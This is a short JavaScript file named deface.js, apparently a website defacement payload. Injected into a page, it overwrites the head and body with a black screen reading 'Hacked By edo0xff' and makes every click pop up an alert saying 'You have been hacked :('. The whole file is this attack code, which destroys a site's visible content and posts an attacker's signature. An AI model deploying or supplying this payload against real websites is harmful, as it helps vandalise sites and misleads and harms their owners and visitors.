deface.js

document.head.innerHTML = `<style>* {
    margin: 0;
    padding: 0;
  }
  .hacked {
    background: black;
    color: lime;
    height: 100vh;
    
    display: flex;
    justify-content: center;
    align-items: center;
    text-align: center;
    font-size: 3rem;
  }</style>`;
  
  document.body.innerHTML = `
  <div class="hacked">
    <h1>Hacked By edo0xff</h1>
  </div>
  `;
  
  window.addEventListener('click', e => alert('You have been hacked :('));